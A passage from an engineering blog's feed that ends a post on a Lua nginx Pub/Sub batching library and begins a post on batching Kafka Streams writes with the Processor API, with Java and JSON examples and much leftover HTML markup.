src="/static/f8883c507583e2d6124eb2c3ef06ae3e/1e043/lua-resty-pubsub-figure2.png" srcset="/static/f8883c507583e2d6124eb2c3ef06ae3e/991de/lua-resty-pubsub-figure2.png 173w, /static/f8883c507583e2d6124eb2c3ef06ae3e/e4d6b/lua-resty-pubsub-figure2.png 345w, /static/f8883c507583e2d6124eb2c3ef06ae3e/1e043/lua-resty-pubsub-figure2.png 690w, /static/f8883c507583e2d6124eb2c3ef06ae3e/e3189/lua-resty-pubsub-figure2.png 1035w, /static/f8883c507583e2d6124eb2c3ef06ae3e/b1001/lua-resty-pubsub-figure2.png 1380w, /static/f8883c507583e2d6124eb2c3ef06ae3e/29007/lua-resty-pubsub-figure2.png 1600w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> <li> Figure 3: Send Message operations count for brute-force solution <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/c0174eb273f0c46bb7a63c8cb4c625ce/29007/lua-resty-pubsub-figure3.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 43.35260115606936%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAAA80lEQVQoz4WRcU+EMAzF9/0/mwfoaeI/6mkiY80BmzsYbB342DxjjHc2vzSPva4rqTDGDMNp/Ypl/StijB4x+xA2EUJAds4JKOa4XohlWa5YIka0GUAIY8oOgnlm9ngvhInZZbw/wWWeUobL4nh8lLJomqppSilL5EzShVJ3pJ5V89L379ZS370mqyB6QF+RSqsLlErtiZ6IDsZIa5XWb7k10T5frq4gZXUepJByl2fEUET32+W6vqnrXSbbZ7bPdFj8AodK3eK3xTi282ymSYNx7IBzfRZgGNpv/YMWxVid6Dqt9QcwxmKF3vO/YNvGoN58Atqk+LyuPUAVAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="lua resty pubsub figure3" title="lua resty pubsub figure3" src="/static/c0174eb273f0c46bb7a63c8cb4c625ce/1e043/lua-resty-pubsub-figure3.png" srcset="/static/c0174eb273f0c46bb7a63c8cb4c625ce/991de/lua-resty-pubsub-figure3.png 173w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/e4d6b/lua-resty-pubsub-figure3.png 345w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/1e043/lua-resty-pubsub-figure3.png 690w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/e3189/lua-resty-pubsub-figure3.png 1035w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/b1001/lua-resty-pubsub-figure3.png 1380w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/29007/lua-resty-pubsub-figure3.png 1600w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> <li> Figure 4: Send Message operations count for an optimized solution <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/01d9f1e3e785bf7b680e7809e9b9aa83/29007/lua-resty-pubsub-figure4.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 43.35260115606936%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAABFElEQVQoz42QUY/CIBCE+/9/mWfV5B5arYmnl9NGTa0FFiks0BvUqLkHc5svZFiYWUImhNBEQxzeVAjBpbLM3jr2nrExxmSQPiZrfAl4G3Uv+DK72XMjXCOi42Bs6F1AtjaD4wh9JbIHAWsI9/QIGTI5KlQ+J/C5otmSphVNFlSuz9s9HU98liz1ZbVLR7OlLjdIeZrTVRimlcoXNEkiBVXfdV0fDwfb9xinv3Y0LmFWo8LWze0X0rMf5ifoFOtm/dNutv3hZE8CWYRomPM5ht/enSar8RwzH9AVCD2pNDROP8rXPvBkkh1mBHNHrlXcKddKbrEKNN2NVv6lER7/OkRmzqgTRtFFKkPaev4XztG5U0L+Ainl/IxyipZAAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="lua resty pubsub figure4" title="lua resty pubsub figure4" src="/static/01d9f1e3e785bf7b680e7809e9b9aa83/1e043/lua-resty-pubsub-figure4.png" srcset="/static/01d9f1e3e785bf7b680e7809e9b9aa83/991de/lua-resty-pubsub-figure4.png 173w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/e4d6b/lua-resty-pubsub-figure4.png 345w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/1e043/lua-resty-pubsub-figure4.png 690w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/e3189/lua-resty-pubsub-figure4.png 1035w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/b1001/lua-resty-pubsub-figure4.png 1380w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/29007/lua-resty-pubsub-figure4.png 1600w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> <li> Figure 5: Byte Cost for publishing messages to brute-force solution <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/c0aaf3b8b17c0d8024f3f7d22a71719b/29007/lua-resty-pubsub-figure5.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 43.35260115606936%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAAA70lEQVQoz51R0W6EIBDk/3+t0XrXpj/QtDEiwsIp7C7YLuo1Num91EwmM+sOZBcVvE/LMntPiF8PvrWUzCwoeS3Ma87CMUYFMfW3pQ/zMEedcEpoIjkkQAYkj+yQPeXA2VYtvyrf5Kyc1ZsLjYbnEdoRGu1aDa12YgWXEd4n9zGa3sEnhKOunbS9GJ+I1GXr6/6Guwq0wAr/1KX/1fgo4cdJ6E6BM/ZwIlbdf8P15qfBbqPWSXbR3m072LNtTlqGRVmYiQiUZclTPGAT7cLEdLYH6nOgLJyYFUwmAFBKmZARhSs2wXS39KteiMBaAPgGXcn1LLOxLEMAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="lua resty pubsub figure5" title="lua resty pubsub figure5" src="/static/c0aaf3b8b17c0d8024f3f7d22a71719b/1e043/lua-resty-pubsub-figure5.png" srcset="/static/c0aaf3b8b17c0d8024f3f7d22a71719b/991de/lua-resty-pubsub-figure5.png 173w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/e4d6b/lua-resty-pubsub-figure5.png 345w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/1e043/lua-resty-pubsub-figure5.png 690w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/e3189/lua-resty-pubsub-figure5.png 1035w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/b1001/lua-resty-pubsub-figure5.png 1380w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/29007/lua-resty-pubsub-figure5.png 1600w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> <li> Figure 6: Byte Cost for publishing messages to an optimized solution <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/9790456378e926f19989b39871e5af45/29007/lua-resty-pubsub-figure6.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 42.77456647398844%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAAA2UlEQVQoz3WRiW7DIAyGef+3TNqo0tSL2wYfJZBuzbJZn34Mv80hjHMuxtgUAPSfYObSArFWwlJH5JxNG4iollVVtCEsI9lxCBExR0P+btqmIj/XMXVRuna8klO2SlbICwfdsMquJ1457t5i6qz1pKs2pq4nsV/+cbU5ANzLZr1r2hbjHr25rZ73LBru6Xmz/hniLdPyYbXiy6+T95RZcBaYCCfGmQ+uStr6TQ3ESSgwR6EonLT2vKMjocGoCcKgTNy+yUSXICEUwPJWXBXLp2J38Xsl+RRceAHHYA5kL8YG4wAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="lua resty pubsub figure6" title="lua resty pubsub figure6" src="/static/9790456378e926f19989b39871e5af45/1e043/lua-resty-pubsub-figure6.png" srcset="/static/9790456378e926f19989b39871e5af45/991de/lua-resty-pubsub-figure6.png 173w, /static/9790456378e926f19989b39871e5af45/e4d6b/lua-resty-pubsub-figure6.png 345w, /static/9790456378e926f19989b39871e5af45/1e043/lua-resty-pubsub-figure6.png 690w, /static/9790456378e926f19989b39871e5af45/e3189/lua-resty-pubsub-figure6.png 1035w, /static/9790456378e926f19989b39871e5af45/b1001/lua-resty-pubsub-figure6.png 1380w, /static/9790456378e926f19989b39871e5af45/29007/lua-resty-pubsub-figure6.png 1600w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> </ol> <h2 id="so-what-was-the-difference" style="position:relative;"><a href="#so-what-was-the-difference" aria-label="so what was the difference permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So what was the difference?</h2> <ul> <li>Clearly, the first thing we can notice is a reduction in Average Response time from 7ms to 3ms which is quite significant. Also, 90% of Response times is reduced from 10ms to 4ms which was a huge boost.</li> <li>Due to low response time, Taurus was able to send requests at DACDN at relatively higher throughput thereby completing his 20M requests 12 minutes earlier than the brute-force solution.</li> <li>Also, the optimized solution has a higher “Send Message operations count” than the brute-force solution and due to this the same DACDN’s resources were much better utilized.</li> <li>There was a clear difference in cost in both approaches by 2.5 times. So it would be cheaper for anyone to use the optimized solution for publishing messages at better throughput.</li> </ul> <h2 id="solution-as-a-library" style="position:relative;"><a href="#solution-as-a-library" aria-label="solution as a library permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution as a Library</h2> We definitely wanted other lua-nginx developers to benefit from this solution and thus we have open-sourced this approach as a library on GitHub. You can get the library from <a href="https://github.com/wingify/lua-resty-pubsub">here</a> with detailed documentation for helping you out while incorporating this library in your system. If you feel that you can contribute to this library in any way then you are most welcome as an Open-source Contributor. <h2 id="core-modules-of-the-library" style="position:relative;"><a href="#core-modules-of-the-library" aria-label="core modules of the library permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Core Modules of the library</h2> <ol> <li> producer.lua <ul> <li>Responsible for accepting data from users, validating them, and finally normalizing the optional configurations</li> <li>Creating as well as monitoring background nginx timers for data accumulation or data push</li> </ul> </li> <li> oauth_client.lua <ul> <li>Responsible for generating OAuth token for authorizing over https when making requests</li> <li>It also maintains a local cache so that the same token can be used repeatedly before token expiry</li> </ul> </li> <li> request.lua <ul> <li>Maintains all the connection related configurations and errors</li> <li>Responsible for actually making HTTPS requests to the Pub/Sub server for publishing packets</li> </ul> </li> <li> ring_buffer.lua <ul> <li>Module for storing the accumulated data in a table</li> <li>Provide methods for push, pop, length, and bytes used for the queue</li> </ul> </li> </ol> <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> Using a combination of Pub/Sub Rest API and Nginx Timers for batching, there are some obvious pros to it: <ul> <li>Better Pub/Sub write throughput in a non-blocking manner</li> <li>Reduced Cost by almost 2.5 times while publishing messages to Pub/Sub</li> <li>Improved response time and data acquisition</li> </ul> <h2 id="useful-resources" style="position:relative;"><a href="#useful-resources" aria-label="useful resources permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Useful resources</h2> <ul> <li><a href="https://github.com/openresty/lua-nginx-module">Lua Nginx Module</a></li> <li><a href="https://cloud.google.com/pubsub/docs/reference/rest">Google Pub/Sub Rest API</a></li> <li><a href="https://cloud.google.com/pubsub/quotas">Google Pub/Sub Quotas and limits</a></li> <li><a href="https://gettaurus.org/">Taurus Load Testing tool</a></li> </ul></content:encoded><author>Vasu Gupta</author></item><item><title><![CDATA[Kafka Streams Stateful Ingestion with Processor API]]></title><description><![CDATA[At Wingify, we have used Kafka across teams and projects, solving a vast array of use cases. So, when we had to implement the VWO Session…]]></description><link>https://engineering.wingify.com//posts/kafka-streams-stateful-ingestion-with-processor-api/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/kafka-streams-stateful-ingestion-with-processor-api/</guid><pubDate>Tue, 10 Nov 2020 00:00:00 GMT</pubDate><content:encoded>At Wingify, we have used Kafka across teams and projects, solving a vast array of use cases. So, when we had to implement the <a href="https://vwo.com/insights/session-recordings/">VWO Session Recordings</a> feature for the new Data platform, Kafka was a logical choice, with Kafka Streams framework doing all the heavy lifting involved with using Kafka Consumer API, allowing us to focus on the data processing part. This blog post is an account of the issues we faced while working on the Kafka Streams based solution and how we were able found a way around them. <h3 id="the-problem" style="position:relative;"><a href="#the-problem" aria-label="the problem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Problem</h3> Batching write operations to a database can significantly increase the write throughput. It can also become a necessity in situations when you have to adhere to quotas and limits. In one of our <a href="https://engineering.wingify.com/posts/leveraging-kafka-streams-to-reduce-db-hits/">earlier</a> blog posts, we discussed how the windowing and aggregation features of Kafka Streams allowed us to aggregate events in a time interval and reduce update operations on a database. What we wanted to do for the recordings feature was quite similar. The way we wanted to batch updates to an external sink for a particular customer's data was to fire an update if either : <ol> <li>The number of events for that customer exceeded a certain threshold.</li> <li>Or, a certain amount of time had elapsed since the last update.</li> </ol> <h3 id="implementation" style="position:relative;"><a href="#implementation" aria-label="implementation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Implementation</h3> The batching strategy we wanted to implement was similar to functionality frameworks like Apache Beam provide through the concept of windows and triggers. Kafka Streams provides the functionality of time-based windows but lacks the concept of triggers. Nevertheless, with an application having nearly the same architecture in production working well, we began working on a solution. <div style="text-align:center; margin: 10px;"> <img src="/images/2020/10/kafka-streams-flow-diagram.png"> <div style="margin: 10px;"> Architecture diagram for Kafka Streams application generated using <a href ="https://app.diagrams.net/">draw.io</a> </div> </div> <h3 id="the-solution---first-attempt" style="position:relative;"><a href="#the-solution---first-attempt" aria-label="the solution first attempt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Solution - first attempt</h3> Our first solution used Kafka Streams DSL <a href="https://kafka.apache.org/21/javadoc/org/apache/kafka/streams/kstream/KStream.html#groupBy-org.apache.kafka.streams.kstream.KeyValueMapper-"><code class="language-text">groupByKey()</code></a> and <a href="https://kafka.apache.org/21/javadoc/org/apache/kafka/streams/kstream/KGroupedStream.html#reduce-org.apache.kafka.streams.kstream.Reducer-org.apache.kafka.streams.kstream.Materialized-"><code class="language-text">reduce()</code></a> operators, with the aggregation being performed on fixed interval time windows. <code class="language-text">Visitor</code> Java class represents the input Kafka message and has JSON representation : <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">{ "customerId": 1234, "visitorId": "42F77D2D52A343F487C313BC77A312D0", "action": "click" }</code></pre></div> <code class="language-text">VisitorAggregated</code> Java class is used to batch the updates and has the JSON representation : <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">{ "customerId": 1234, "events": [ { "visitorId": "42F77D2D52A343F487C313BC77A312D0", "action": "click" }, { "visitorId": "198CCCA1A0F74BF19FDC80F282F21A5C", "action": "scroll" } ] }</code></pre></div> The snippet below describes the code for the approach <div class="gatsby-highlight" data-language="java"><pre class="language-java"><code class="language-java">Serde&lt;Visitor> visitorSerde = Serdes.serdeFrom( new JsonSerializer&lt;>(Visitor.class), new JsonDeserializer&lt;>(Visitor.class)); Serde&lt;VisitorAggregated> visitorAggregatedSerde = Serdes.serdeFrom( new JsonSerializer&lt;>(VisitorAggregated.class), new JsonDeserializer&lt;>(VisitorAggregated.class)); StreamsBuilder streamsBuilder = new StreamsBuilder(); Duration windowDuration = Duration.ofMillis(10000); TimeWindows window = TimeWindows.of(windowDuration).advanceBy(windowDuration); streamsBuilder .stream(KAFKA_TOPIC, Consumed.with(Serdes.String(), visitorSerde)) (1) .filter((k, v) -> v != null) .map((k, v) -> KeyValue.pair(v.getCustomerId(), new VisitorAggregated(v))) (2) .groupByKey(Grouped.with((Serdes.Integer()), visitorAggregatedSerde)) .windowedBy(window.grace(Duration.ZERO)) .reduce(VisitorAggregated::merge) (3) .suppress( (4) Suppressed.untilTimeLimit(windowDuration, Suppressed.BufferConfig.unbounded())) .toStream() .foreach((k, v) -> writeToSink(k.toString(), v)); (5) KafkaStreams kafkaStreams = new KafkaStreams(streamsBuilder.build(), streamsConfig); kafkaStreams.start();</code></pre></div> A brief overview of the above code snippet: <ol> <li><code class="language-text">stream()</code> reads Kafka Messages from <code class="language-text">KAFKA_TOPIC</code> topic and converts them to Java objects using JSON Deserializer.</li> <li>To perform aggregation based on customerId, <code class="language-text">map()</code> performs a key changing operation and remaps all the key-value pairs with customerId as the key.</li> <li><code class="language-text">groupByKey()</code> and <code class="language-text">reduce()</code> implement the aggregation logic on 10 seconds long fixed-time windows for each key.<code class="language-text">merge()</code> is a static method for <code class="language-text">VisitorAggregated</code> class where the aggregation logic is defined.</li> <li>The output of <code class="language-text">reduce()</code> is a <code class="language-text">KTable</code> object and <code class="language-text">suppress()</code> ensures aggregation results are forwarded only after the window has expired, suppressing all intermediate results.</li> <li><code class="language-text">forEach()</code> transform writes aggregation results to the external sink via <code class="language-text">writeToSink()</code>.</li> </ol> In theory, all looked good, and an existing Kafka Streams application having nearly the same logic working well in production increased our confidence in this solution. However, a significant deviation with the Session Recordings feature was the size of the payload and latency requirements. VWO Session Recordings capture all visitor interaction with a website, and the payload size of the Kafka messages is significantly higher than our other applications that use Kafka. Also, we expect the updates to be in near real-time. <h3 id="issues-with-code-classlanguage-textgroupbykeycode-and-code-classlanguage-textreducecode-dsl-operators-approach" style="position:relative;"><a href="#issues-with-code-classlanguage-textgroupbykeycode-and-code-classlanguage-textreducecode-dsl-operators-approach" aria-label="issues with code classlanguage textgroupbykeycode and code classlanguage textreducecode dsl operators approach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Issues with <code class="language-text">groupByKey()</code> and <code class="language-text">reduce()</code> DSL operators approach</h3> With few load test runs, we observed certain areas of concern <ol> <li> Before a <code class="language-text">groupByKey()</code> transform, we need to perform a key changing operation(Step 2 in the above code snippet). As a result, the Kafka Streams framework is forced to perform a <a href="https://www.confluent.io/blog/optimizing-kafka-streams-applications/">repartition</a> operation (similar to the shuffle step in the Map/Reduce paradigm). This involves creating an internal topic with the same number of partitions as the source topic and writing records with identical keys to the same partition. After records with identical keys are co-located to the same partition, aggregation is performed and results are sent to the downstream Processor nodes. Due to repartition, what was initially one single <a href="https://docs.confluent.io/current/streams/architecture.html#processor-topology">topology</a>, is now broken into two sub-topologies and the processing overhead of writing to and reading from a Kafka topic is introduced, along with duplication of the source topic data. This overhead meant that messages already having higher payload size, would leave an even higher footprint on the Kafka broker. </li> <li> The result of the aggregation step is a <code class="language-text">KTable</code> object and is persisted and replicated for fault tolerance with a compacted Kafka changelog topic. Also, the KTable object is periodically flushed to the disk. In case of a consumer rebalance, the new/existing Kafka Stream application instance reads all messages from this changelog topic and ensures it is caught up with all the stateful updates/computations an earlier consumer that was processing messages from those partitions made. Like the repartition topic, the changelog topic is an internal topic created by the Kafka Streams framework itself. An additional changelog topic and a persistent KeyValue store meant more storage overhead on top of the repartition topic and slower startup times for the application as well since they had to read from this topic. State store replication through changelog topics is useful for streaming use cases where the state has to be persisted, but it was not needed for our aggregation use case as we were not persisting state. <div style="text-align:center; margin: 10px;"> <img src="/images/2020/10/kafka-streams-repartition-topic.png"> <div style="margin: 10px;"> Internal repartition and change-log topics created by Kafka Streams</a> </div> </div> </li> <li>Our expectation of window-based aggregation was that for each key we would receive the results in the downstream Processor nodes strictly after the expiration of the window. However, the result of aggregation stored in a <code class="language-text">KTable</code> object is flushed from the cache and forwarded downstream either when the commit interval has elapsed or the <code class="language-text">max-cache</code> size is reached. This meant that we lacked fine-grained control over when the results of aggregation will be forwarded for a particular customer. Also, for keys having a lower rate of incoming messages, aggregation results can take a long time to be forwarded and reflected in the database. Despite tweaking with configuration parameters and using Kafka Streams constructs like <a href="https://stackoverflow.com/questions/50312386/kafka-stream-consumer-commit-frequency">commit interval</a>, <a href="https://kafka.apache.org/10/documentation/streams/developer-guide/memory-mgmt#:~:text=The%20semantics%20of%20caching%20is%20that%20data">cache flushes</a>, and <a href="https://kafka.apache.org/21/javadoc/org/apache/kafka/streams/kstream/Suppressed.html"><code class="language-text">KTable#supress()</code></a>, we were unable to ensure that all updates were made to the external sink in a time-bound manner.</li> </ol> <h3 id="the-solution---processor-api" style="position:relative;"><a href="#the-solution---processor-api" aria-label="the solution processor api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Solution - Processor API</h3> The challenges we faced with a time-based windowing and <code class="language-text">groupByKey()</code> + <code class="language-text">reduce()</code> approach indicated that it was not the most ideal approach for our use case. We needed something above what the Kafka Streams DSL operators offered. After some research, we came across the Processor API. <h4 id="processor-api" style="position:relative;"><a href="#processor-api" aria-label="processor api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Processor API</h4> <a href="https://kafka.apache.org/10/documentation/streams/developer-guide/processor-api.html">Processor API</a> is a low-level KafkaStreams construct which allows for: <ol> <li>Attaching KeyValue stores to KafkaStreams Processor nodes and performing read/write operations. A state store instance is created per partition and can be either persistent or in-memory only.</li> <li>Schedule actions to occur at strictly regular intervals(wall-clock time) and gain full control over when records are forwarded to specific Processor Nodes.</li> </ol> <h4 id="transformer-interface" style="position:relative;"><a href="#transformer-interface" aria-label="transformer interface permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" 